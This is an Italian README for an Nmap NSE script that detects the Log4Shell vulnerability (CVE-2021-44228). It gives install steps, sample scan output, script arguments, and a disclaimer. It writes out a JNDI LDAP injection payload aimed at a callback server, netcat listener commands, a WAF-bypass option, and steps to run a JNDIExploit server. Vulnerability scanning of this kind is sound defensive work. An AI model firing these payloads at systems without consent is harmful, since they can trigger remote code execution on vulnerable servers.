
Nmap NSE script per rilevare Apache Log4j RCE (CVE-2021-44228) iniettando payload di exploit JNDI tramite header HTTP o socket TCP/UDP attraverso le reti.
nmap-log4shell è uno script NSE per la scoperta della vulnerabilità Apache Log4j RCE (CVE-2021-44228) attraverso la rete. Lo script è in grado di iniettare il payload di exploit log4shell tramite header HTTP (predefinito) o tramite socket TCP/UDP.
CVE-2021-44228 è una vulnerabilità di esecuzione remota di codice (RCE) in Apache Log4j 2. Un attaccante remoto non autenticato potrebbe sfruttare questa falla inviando una richiesta appositamente predisposta a un server che esegue una versione vulnerabile di log4j. La richiesta predisposta utilizza un'iniezione Java Naming and Directory Interface (JNDI) attraverso una serie di servizi, tra cui:
Se il server vulnerabile utilizza log4j per registrare le richieste, l'exploit richiederà quindi un payload dannoso tramite JNDI attraverso uno dei servizi sopra elencati da un server controllato dall'attaccante. Uno sfruttamento riuscito può portare a RCE.
Individua la directory in cui si trovano gli script nmap sul tuo sistema:
~/.nmap/scripts/ o $NMAPDIR/usr/local/Cellar/nmap/<version>/share/nmap/scripts/C:\Program Files (x86)\Nmap\scriptsCopia lo script fornito (log4shell.nse) in quella directory ed esegui nmap --script-updatedb per aggiornare il database degli script di nmap.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: Il server di callback (es. 172.17.42.1:1389)log4shell.http-headers: Elenco separato da virgole di header HTTP (es. X-Api-Version,User-Agent,Referer)log4shell.http-method: Metodo HTTP (predefinito: GET)log4shell.url-path: Percorso URL (predefinito: /)log4shell.waf-bypass: Usa payload di bypass WAF (predefinito: false)log4shell.test-method: Test tramite http (predefinito), tcp, udp o allLo script si basa sui callback dal target scansionato e pertanto eventuali regole firewall o interazioni con altri dispositivi di sicurezza influenzeranno l'efficacia dello script.
Metti in ascolto una porta TCP con netcat (o ncat):
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
Esegui Nmap con lo script --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Osserva l'indirizzo IP del target nell'output di netcat (o ncat):
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
Scarica JNDIExploit da GitHub (https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
Avvia il server JNDIExploit:
java -jar JNDIExploit.jar
Esegui Nmap con lo script --script log4shell.nse
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
Osserva l'output di JNDIExploit per vedere la query LDAP ricevuta
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
Questo progetto è realizzato solo a scopo educativo e di test etici. L'utilizzo di nmap-log4shell per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili di eventuali usi impropri o danni causati da questo programma.
Il progetto è concesso in licenza MIT.